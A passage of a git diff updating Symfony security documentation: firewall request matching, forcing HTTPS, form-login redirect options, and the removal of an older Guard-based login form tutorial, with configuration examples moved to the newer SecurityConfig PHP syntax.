a/security/firewall_restriction.rst b/security/firewall_restriction.rst index ee0950083bc..be0237c0e39 100644 --- a/security/firewall_restriction.rst +++ b/security/firewall_restriction.rst @@ -1,6 +1,3 @@ -.. index:: - single: Security; Restrict Security Firewalls to a Request - How to Restrict Firewalls to a Request ====================================== @@ -44,7 +41,7 @@ if the request path matches the configured ``pattern``. .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -64,16 +61,16 @@ if the request path matches the configured ``pattern``. .. code-block:: php // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // .... - // ... - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'secured_area' => [ - 'pattern' => '^/admin', - // ... - ], - ], - ]); + $security->firewall('secured_area') + ->pattern('^/admin') + // ... + ; + }; The ``pattern`` is a regular expression. In this example, the firewall will only be activated if the path starts (due to the ``^`` regex character) with ``/admin``. If @@ -103,7 +100,7 @@ only initialize if the host from the request matches against the configuration. .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -123,16 +120,16 @@ only initialize if the host from the request matches against the configuration. .. code-block:: php // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // .... - // ... - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'secured_area' => [ - 'host' => '^admin\.example\.com$', - // ... - ], - ], - ]); + $security->firewall('secured_area') + ->host('^admin\.example\.com$') + // ... + ; + }; The ``host`` (like the ``pattern``) is a regular expression. In this example, the firewall will only be activated if the host is equal exactly (due to @@ -163,7 +160,7 @@ the provided HTTP methods. .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -183,16 +180,16 @@ the provided HTTP methods. .. code-block:: php // config/packages/security.php + use Symfony\Config\SecurityConfig; - // ... - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'secured_area' => [ - 'methods' => ['GET', 'POST'], - // ... - ], - ], - ]); + return static function (SecurityConfig $security): void { + // .... + + $security->firewall('secured_area') + ->methods(['GET', 'POST']) + // ... + ; + }; In this example, the firewall will only be activated if the HTTP method of the request is either ``GET`` or ``POST``. If the method is not in the array of the @@ -215,13 +212,13 @@ If the above options don't fit your needs you can configure any service implemen security: firewalls: secured_area: - request_matcher: app.firewall.secured_area.request_matcher + request_matcher: App\Security\CustomRequestMatcher # ... .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -232,7 +229,7 @@ If the above options don't fit your needs you can configure any service implemen <config> <!-- ... --> - <firewall name="secured_area" request-matcher="app.firewall.secured_area.request_matcher"> + <firewall name="secured_area" request-matcher="App\Security\CustomRequestMatcher"> <!-- ... --> </firewall> </config> @@ -241,13 +238,14 @@ If the above options don't fit your needs you can configure any service implemen .. code-block:: php // config/packages/security.php + use App\Security\CustomRequestMatcher; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // .... - // ... - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'secured_area' => [ - 'request_matcher' => 'app.firewall.secured_area.request_matcher', - // ... - ], - ], - ]); + $security->firewall('secured_area') + ->requestMatcher(CustomRequestMatcher::class) + // ... + ; + }; diff --git a/security/force_https.rst b/security/force_https.rst index 9492e0fece0..03d5230ca50 100644 --- a/security/force_https.rst +++ b/security/force_https.rst @@ -1,6 +1,3 @@ -.. index:: - single: Security; Force HTTPS - How to Force HTTPS or HTTP for different URLs ============================================= @@ -24,14 +21,14 @@ access control: access_control: - { path: '^/secure', roles: ROLE_ADMIN, requires_channel: https } - - { path: '^/login', roles: IS_AUTHENTICATED_ANONYMOUSLY, requires_channel: https } + - { path: '^/login', roles: PUBLIC_ACCESS, requires_channel: https } # catch all other URLs - - { path: '^/', roles: IS_AUTHENTICATED_ANONYMOUSLY, requires_channel: https } + - { path: '^/', roles: PUBLIC_ACCESS, requires_channel: https } .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -43,48 +40,42 @@ access control: <config> <!-- ... --> - <rule path="^/secure" - role="ROLE_ADMIN" - requires-channel="https"/> - <rule path="^/login" - role="IS_AUTHENTICATED_ANONYMOUSLY" - requires-channel="https" - /> - <rule path="^/" - role="IS_AUTHENTICATED_ANONYMOUSLY" - requires-channel="https" - /> + <rule path="^/secure" role="ROLE_ADMIN" requires-channel="https"/> + <rule path="^/login" role="PUBLIC_ACCESS" requires-channel="https"/> + <rule path="^/" role="PUBLIC_ACCESS" requires-channel="https"/> </config> </srv:container> .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ - // ... - - 'access_control' => [ - [ - 'path' => '^/secure', - 'roles' => 'ROLE_ADMIN', - 'requires_channel' => 'https', - ], - [ - 'path' => '^/login', - 'role' => 'IS_AUTHENTICATED_ANONYMOUSLY', - 'requires_channel' => 'https', - ], - [ - 'path' => '^/', - 'role' => 'IS_AUTHENTICATED_ANONYMOUSLY', - 'requires_channel' => 'https', - ], - ], - ]); + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // .... + + $security->accessControl() + ->path('^/secure') + ->roles(['ROLE_ADMIN']) + ->requiresChannel('https') + ; + + $security->accessControl() + ->path('^/login') + ->roles(['PUBLIC_ACCESS']) + ->requiresChannel('https') + ; + + $security->accessControl() + ->path('^/') + ->roles(['PUBLIC_ACCESS']) + ->requiresChannel('https') + ; + }; To make life easier while developing, you can also use an environment variable, -like ``requires_channel: '%env(SECURE_SCHEME)%'``. In your ``.env`` file, set -``SECURE_SCHEME`` to ``http`` by default, but override it to ``https`` on production. +like ``requires_channel: '%env(REQUIRED_SCHEME)%'``. In your ``.env`` file, set +``REQUIRED_SCHEME`` to ``http`` by default, but override it to ``https`` on production. See :doc:`/security/access_control` for more details about ``access_control`` in general. diff --git a/security/form_login.rst b/security/form_login.rst index 06d7e22c500..2b5eba96340 100644 --- a/security/form_login.rst +++ b/security/form_login.rst @@ -1,404 +1,9 @@ -.. index:: - single: Security; Customizing form login redirect +Customizing the Form Login Authenticator Responses +================================================== -Using the form_login Authentication Provider -============================================ - -.. caution:: - - To have complete control over your login form, we recommend building a - :doc:`form login authentication with Guard </security/form_login_setup>`. - -Symfony comes with a built-in ``form_login`` system that handles a login form -POST automatically. Before you start, make sure you've followed the -:doc:`Security Guide </security>` to create your User class. - -form_login Setup ----------------- - -First, enable ``form_login`` under your firewall: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - firewalls: - main: - anonymous: true - lazy: true - form_login: - login_path: login - check_path: login - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:srv="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <firewall name="main" anonymous="true" lazy="true"> - <form-login login-path="login" check-path="login"/> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - 'anonymous' => true, - 'lazy' => true, - 'form_login' => [ - 'login_path' => 'login', - 'check_path' => 'login', - ], - ], - ], - ]); - -.. tip:: - - The ``login_path`` and ``check_path`` can also be route names (but cannot - have mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` has no - default value). - -Now, when the security system initiates the authentication process, it will -redirect the user to the login form ``/login``. Implementing this login form -is your job. First, create a new ``SecurityController``:: - - // src/Controller/SecurityController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - - class SecurityController extends AbstractController - { - } - -Next, configure the route that you earlier used under your ``form_login`` -configuration (``login``): - -.. configuration-block:: - - .. code-block:: php-annotations - - // src/Controller/SecurityController.php - - // ... - use Symfony\Component\Routing\Annotation\Route; - - class SecurityController extends AbstractController - { - /** - * @Route("/login", name="login", methods={"GET", "POST"}) - */ - public function login() - { - } - } - - .. code-block:: yaml - - # config/routes.yaml - login: - path: /login - controller: App\Controller\SecurityController::login - methods: GET|POST - - .. code-block:: xml - - <!-- config/routes.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <routes xmlns="http://symfony.com/schema/routing" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/routing - https://symfony.com/schema/routing/routing-1.0.xsd"> - - <route id="login" path="/login" controller="App\Controller\SecurityController::login" methods="GET|POST"/> - </routes> - - .. code-block:: php - - // config/routes.php - use App\Controller\SecurityController; - use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - - return function (RoutingConfigurator $routes) { - $routes->add('login', '/login') - ->controller([SecurityController::class, 'login']) - ->methods(['GET', 'POST']) - ; - }; - -Great! Next, add the logic to ``login()`` that displays the login form:: - - // src/Controller/SecurityController.php - use Symfony\Component\Security\Http\Authentication\AuthenticationUtils; - - public function login(AuthenticationUtils $authenticationUtils) - { - // get the login error if there is one - $error = $authenticationUtils->getLastAuthenticationError(); - - // last username entered by the user - $lastUsername = $authenticationUtils->getLastUsername(); - - return $this->render('security/login.html.twig', [ - 'last_username' => $lastUsername, - 'error' => $error, - ]); - } - -.. note:: - - If you get an error that the ``$authenticationUtils`` argument is missing, - it's probably because the controllers of your application are not defined as - services and tagged with the ``controller.service_arguments`` tag, as done - in the :ref:`default services.yaml configuration <service-container-services-load-example>`. - -Don't let this controller confuse you. As you'll see in a moment, when the -user submits the form, the security system automatically handles the form -submission for you. If the user submits an invalid username or password, -this controller reads the form submission error from the security system, -so that it can be displayed back to the user. - -In other words, your job is to *display* the login form and any login errors -that may have occurred, but the security system itself takes care of checking -the submitted username and password and authenticating the user. - -Finally, create the template: - -.. code-block:: html+twig - - {# templates/security/login.html.twig #} - {# ... you will probably extend your base template, like base.html.twig #} - - {% if error %} - <div>{{ error.messageKey|trans(error.messageData, 'security') }}</div> - {% endif %} - - <form action="{{ path('login') }}" method="post"> - <label for="username">Username:</label> - <input type="text" id="username" name="_username" value="{{ last_username }}"/> - - <label for="password">Password:</label> - <input type="password" id="password" name="_password"/> - - {# - If you want to control the URL the user - is redirected to on success (more details below) - <input type="hidden" name="_target_path" value="/account"/> - #} - - <button type="submit">login</button> - </form> - -.. tip:: - - The ``error`` variable passed into the template is an instance of - :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`. - It may contain more information - or even sensitive information - about - the authentication failure, so use it wisely! - -The form can look like anything, but it usually follows some conventions: - -* The ``<form>`` element sends a ``POST`` request to the ``login`` route, since - that's what you configured under the ``form_login`` key in ``security.yaml``; -* The username field has the name ``_username`` and the password field has the - name ``_password``. - -.. tip:: - - Actually, all of this can be configured under the ``form_login`` key. See - :ref:`reference-security-firewall-form-login` for more details. - -.. caution:: - - This login form is currently not protected against CSRF attacks. Read - :ref:`form_login-csrf` on how to protect your login form. - -And that's it! When you submit the form, the security system will automatically -check the user's credentials and either authenticate the user or send the -user back to the login form where the error can be displayed. - -To review the whole process: - -#. The user tries to access a resource that is protected; -#. The firewall initiates the authentication process by redirecting the - user to the login form (``/login``); -#. The ``/login`` page renders login form via the route and controller created - in this example; -#. The user submits the login form to ``/login``; -#. The security system intercepts the request, checks the user's submitted - credentials, authenticates the user if they are correct, and sends the - user back to the login form if they are not. - -.. _form_login-csrf: - -CSRF Protection in Login Forms ------------------------------- - -`Login CSRF attacks`_ can be prevented using the same technique of adding hidden -CSRF tokens into the login forms. The Security component already provides CSRF -protection, but you need to configure some options before using it. - -First, configure the CSRF token provider used by the form login in your security -configuration. You can set this to use the default provider available in the -security component: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - firewalls: - secured_area: - # ... - form_login: - # ... - csrf_token_generator: security.csrf.token_manager - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <!-- ... --> - - <firewall name="secured_area"> - <!-- ... --> - <form-login csrf-token-generator="security.csrf.token_manager"/> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - // ... - - 'firewalls' => [ - 'secured_area' => [ - // ... - 'form_login' => [ - // ... - 'csrf_token_generator' => 'security.csrf.token_manager', - ], - ], - ], - ]); - -.. _csrf-login-template: - -Then, use the ``csrf_token()`` function in the Twig template to generate a CSRF -token and store it as a hidden field of the form. By default, the HTML field -must be called ``_csrf_token`` and the string used to generate the value must -be ``authenticate``: - -.. code-block:: html+twig - - {# templates/security/login.html.twig #} - - {# ... #} - <form action="{{ path('login') }}" method="post"> - {# ... the login fields #} - - <input type="hidden" name="_csrf_token" - value="{{ csrf_token('authenticate') }}" - > - - <button type="submit">login</button> - </form> - -After this, you have protected your login form against CSRF attacks. - -.. tip:: - - You can change the name of the field by setting ``csrf_parameter`` and change - the token ID by setting ``csrf_token_id`` in your configuration: - - .. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - firewalls: - secured_area: - # ... - form_login: - # ... - csrf_parameter: _csrf_security_token - csrf_token_id: a_private_string - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <!-- ... --> - - <firewall name="secured_area"> - <!-- ... --> - <form-login csrf-parameter="_csrf_security_token" - csrf-token-id="a_private_string" - /> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - // ... - - 'firewalls' => [ - 'secured_area' => [ - // ... - 'form_login' => [ - // ... - 'csrf_parameter' => '_csrf_security_token', - 'csrf_token_id' => 'a_private_string', - ], - ], - ], - ]); +The form login authenticator creates a login form where users authenticate +using an identifier (e.g. email address or username) and a password. In +:ref:`security-form-login` the usage of this authenticator is explained. Redirecting after Success ------------------------- @@ -437,7 +42,7 @@ a relative/absolute URL or a Symfony route name: .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -458,20 +63,18 @@ a relative/absolute URL or a Symfony route name: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... - 'firewalls' => [ - 'main' => [ + $security->firewall('main') + // ... + ->formLogin() // ... - - 'form_login' => [ - // ... - 'default_target_path' => 'after_login_route_name', - ], - ], - ], - ]); + ->defaultTargetPath('after_login_route_name') + ; + }; Always Redirect to the default Page ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -496,7 +99,7 @@ previously requested URL and always redirect to the default page: .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -518,46 +121,44 @@ previously requested URL and always redirect to the default page: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... - 'firewalls' => [ - 'main' => [ + $security->firewall('main') + // ... + ->formLogin() // ... - - 'form_login' => [ - // ... - 'always_use_default_target_path' => true, - ], - ], - ], - ]); + ->alwaysUseDefaultTargetPath(true) + ; + }; .. _control-the-redirect-url-from-inside-the-form: Control the Redirect Using Request Parameters ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -The URL to redirect after the login can be defined using the ``_target_path`` -parameter of GET and POST requests. Its value must be a relative or absolute +The URL to redirect to after the login can be dynamically defined using the ``_target_path`` +parameter of the GET or POST request. Its value must be a relative or absolute URL, not a Symfony route name. -Defining the redirect URL via GET using a query string parameter: +For GET, use a query string parameter: .. code-block:: text http://example.com/some/path?_target_path=/dashboard -Defining the redirect URL via POST using a hidden form field: +For POST, use a hidden form field: .. code-block:: html+twig - {# templates/security/login.html.twig #} - <form action="{{ path('login') }}" method="post"> + {# templates/login/index.html.twig #} + <form action="{{ path('app_login') }}" method="post"> {# ... #} - <input type="hidden" name="_target_path" value="{{ path('account') }}"/> - <input type="submit" name="login"/> + <input type="hidden" name="_target_path" value="{{ path('account') }}"> + <input type="submit" name="login"> </form> Using the Referring URL @@ -586,7 +187,7 @@ parameter is included in the request, you may use the value of the .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -608,19 +209,18 @@ parameter is included in the request, you may use the value of the .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... - 'firewalls' => [ - 'main' => [ + $security->firewall('main') + // ... + ->formLogin() // ... - 'form_login' => [ - // ... - 'use_referer' => true, - ], - ], - ], - ]); + ->useReferer(true) + ; + }; .. note:: @@ -654,7 +254,7 @@ option to define a new target via a relative/absolute URL or a Symfony route nam .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -676,19 +276,18 @@ option to define a new target via a relative/absolute URL or a Symfony route nam .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... - 'firewalls' => [ - 'main' => [ + $security->firewall('main') + // ... + ->formLogin() // ... - 'form_login' => [ - // ... - 'failure_path' => 'login_failure_route_name', - ], - ], - ], - ]); + ->failurePath('login_failure_route_name') + ; + }; This option can also be set via the ``_failure_path`` request parameter: @@ -702,8 +301,8 @@ This option can also be set via the ``_failure_path`` request parameter: <form action="{{ path('login') }}" method="post"> {# ... #} - <input type="hidden" name="_failure_path" value="{{ path('forgot_password') }}"/> - <input type="submit" name="login"/> + <input type="hidden" name="_failure_path" value="{{ path('forgot_password') }}"> + <input type="submit" name="login"> </form> Customizing the Target and Failure Request Parameters @@ -731,7 +330,7 @@ redirects can be customized using the ``target_path_parameter`` and .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -754,19 +353,19 @@ redirects can be customized using the ``target_path_parameter`` and .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... - 'firewalls' => [ - 'main' => [ + $security->firewall('main') + // ... + ->formLogin() // ... - 'form_login' => [ - 'target_path_parameter' => 'go_to', - 'failure_path_parameter' => 'back_to', - ], - ], - ], - ]); + ->targetPathParameter('go_to') + ->failurePathParameter('back_to') + ; + }; Using the above configuration, the query string parameters and hidden form fields are now fully customized: @@ -781,9 +380,7 @@ are now fully customized: <form action="{{ path('login') }}" method="post"> {# ... #} - <input type="hidden" name="go_to" value="{{ path('dashboard') }}"/> - <input type="hidden" name="back_to" value="{{ path('forgot_password') }}"/> - <input type="submit" name="login"/> + <input type="hidden" name="go_to" value="{{ path('dashboard') }}"> + <input type="hidden" name="back_to" value="{{ path('forgot_password') }}"> + <input type="submit" name="login"> </form> - -.. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst deleted file mode 100644 index 3f2dd210848..00000000000 --- a/security/form_login_setup.rst +++ /dev/null @@ -1,514 +0,0 @@ -How to Build a Login Form -========================= - -.. seealso:: - - If you're looking for the ``form_login`` firewall option, see - :doc:`/security/form_login`. - -Ready to create a login form? First, make sure you've followed the main -:doc:`Security Guide </security>` to install security and create your ``User`` -class. - -Generating the Login Form -------------------------- - -Creating a powerful login form can be bootstrapped with the ``make:auth`` command from -`MakerBundle`_. Depending on your setup, you may be asked different questions -and your generated code may be slightly different: - -.. code-block:: terminal - - $ php bin/console make:auth - - What style of authentication do you want? [Empty authenticator]: - [0] Empty authenticator - [1] Login form authenticator - > 1 - - The class name of the authenticator to create (e.g. AppCustomAuthenticator): - > LoginFormAuthenticator - - Choose a name for the controller class (e.g. SecurityController) [SecurityController]: - > SecurityController - - Do you want to generate a '/logout' URL? (yes/no) [yes]: - > yes - - created: src/Security/LoginFormAuthenticator.php - updated: config/packages/security.yaml - created: src/Controller/SecurityController.php - created: templates/security/login.html.twig - -.. versionadded:: 1.8 - - Support for login form authentication was added to ``make:auth`` in MakerBundle 1.8. - -This generates the following: 1) login/logout routes & controller, 2) a template that -renders the login form, 3) a :doc:`Guard authenticator </security/guard_authentication>` -class that processes the login submit and 4) updates the main security config file. - -**Step 1.** The ``/login``/``/logout`` routes & controller:: - - // src/Controller/SecurityController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Routing\Annotation\Route; - use Symfony\Component\Security\Http\Authentication\AuthenticationUtils; - - class SecurityController extends AbstractController - { - /** - * @Route("/login", name="app_login") - */ - public function login(AuthenticationUtils $authenticationUtils): Response - { - // if ($this->getUser()) { - // return $this->redirectToRoute('target_path'); - // } - - // get the login error if there is one - $error = $authenticationUtils->getLastAuthenticationError(); - // last username entered by the user - $lastUsername = $authenticationUtils->getLastUsername(); - - return $this->render('security/login.html.twig', [ - 'last_username' => $lastUsername, - 'error' => $error - ]); - } - - /** - * @Route("/logout", name="app_logout") - */ - public function logout() - { - throw new \LogicException('This method can be blank - it will be intercepted by the logout key on your firewall.'); - } - } - -Edit the ``security.yaml`` file in order to declare the ``/logout`` path: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - firewalls: - main: - # ... - logout: - path: app_logout - # where to redirect after logout - # target: app_any_route - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" charset="UTF-8" ?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <!-- ... --> - <firewall name="main"> - <!-- ... --> - <logout path="app_logout"/> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - // ... - 'firewalls' => [ - 'main' => [ - // ... - 'logout' => [ - 'path' => 'app_logout', - // where to redirect after logout - 'target' => 'app_any_route' - ], - ], - ], - ]); - -**Step 2.** The template has very little to do with security: it generates -a traditional HTML form that submits to ``/login``: - -.. code-block:: html+twig - - {% extends 'base.html.twig' %} - - {% block title %}Log in!{% endblock %} - - {% block body %} - <form method="post"> - {% if error %} - <div class="alert alert-danger">{{ error.messageKey|trans(error.messageData, 'security') }}</div> - {% endif %} - - {% if app.user %} - <div class="mb-3"> - You are logged in as {{ app.user.username }}, <a href="{{ path('app_logout') }}">Logout</a> - </div> - {% endif %} - - <h1 class="h3 mb-3 font-weight-normal">Please sign in</h1> - <label for="inputEmail" class="sr-only">Email</label> - <input type="email" value="{{ last_username }}" name="email" id="inputEmail" class="form-control" placeholder="Email" required autofocus> - <label for="inputPassword" class="sr-only">Password</label> - <input type="password" name="password" id="inputPassword" class="form-control" placeholder="Password" required> - - <input type="hidden" name="_csrf_token" - value="{{ csrf_token('authenticate') }}" - > - - {# - Uncomment this section and add a remember_me option below your firewall to activate remember me functionality. - See https://symfony.com/doc/current/security/remember_me.html - - <div class="checkbox mb-3"> - <label> - <input type="checkbox" name="_remember_me"> Remember me - </label> - </div> - #} - - <button class="btn btn-lg btn-primary" type="submit"> - Sign in - </button> - </form> - {% endblock %} - -**Step 3.** The Guard authenticator processes the form submit:: - - // src/Security/LoginFormAuthenticator.php - namespace App\Security; - - use App\Entity\User; - use Doctrine\ORM\EntityManagerInterface; - use Symfony\Component\HttpFoundation\RedirectResponse; - use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\Routing\Generator\UrlGeneratorInterface; - use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; - use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface; - use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException; - use Symfony\Component\Security\Core\Exception\InvalidCsrfTokenException; - use Symfony\Component\Security\Core\Security; - use Symfony\Component\Security\Core\User\UserInterface; - use Symfony\Component\Security\Core\User\UserProviderInterface; - use Symfony\Component\Security\Csrf\CsrfToken; - use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface; - use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator; - use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface; - use Symfony\Component\Security\Http\Util\TargetPathTrait; - - class LoginFormAuthenticator extends AbstractFormLoginAuthenticator implements PasswordAuthenticatedInterface - { - use TargetPathTrait; - - public const LOGIN_ROUTE = 'app_login'; - - private $entityManager; - private $urlGenerator; - private $csrfTokenManager; - private $passwordEncoder; - - public function __construct(EntityManagerInterface $entityManager, UrlGeneratorInterface $urlGenerator, CsrfTokenManagerInterface $csrfTokenManager, UserPasswordEncoderInterface $passwordEncoder) - { - $this->entityManager = $entityManager; - $this->urlGenerator = $urlGenerator; - $this->csrfTokenManager = $csrfTokenManager; - $this->passwordEncoder = $passwordEncoder; - } - - public function supports(Request $request) - { - return self::LOGIN_ROUTE === $request->attributes->get('_route') - && $request->isMethod('POST'); - } - - public function getCredentials(Request $request) - { - $credentials = [ - 'email' => $request->request->get('email'), - 'password' => $request->request->get('password'), - 'csrf_token' => $request->request->get('_csrf_token'), - ]; - $request->getSession()->set( - Security::LAST_USERNAME, - $credentials['email'] - ); - - return $credentials; - } - - public function getUser($credentials, UserProviderInterface $userProvider) - { - $token = new CsrfToken('authenticate', $credentials['csrf_token']); - if (!$this->csrfTokenManager->isTokenValid($token)) { - throw new InvalidCsrfTokenException(); - } - - $user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => $credentials['email']]); - - if (!$user) { - // fail authentication with a custom error - throw new CustomUserMessageAuthenticationException('Email could not be found.'); - } - - return $user; - } - - public function checkCredentials($credentials, UserInterface $user) - { - return $this->passwordEncoder->isPasswordValid($user, $credentials['password']); - } - - /** - * Used to upgrade (rehash) the user's password automatically over time. - */ - public function getPassword($credentials): ?string - { - return $credentials['password']; - } - - public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey) - { - if ($targetPath = $this->getTargetPath($request->getSession(), $providerKey)) { - return new RedirectResponse($targetPath); - } - - // For example : return new RedirectResponse($this->urlGenerator->generate('some_route')); - throw new \Exception('TODO: provide a valid redirect inside '.__FILE__); - } - - protected function getLoginUrl() - { - return $this->urlGenerator->generate(self::LOGIN_ROUTE); - } - } - -**Step 4.** Updates the main security config file to enable the Guard authenticator: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - firewalls: - main: - # ... - guard: - authenticators: - - App\Security\LoginFormAuthenticator - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" 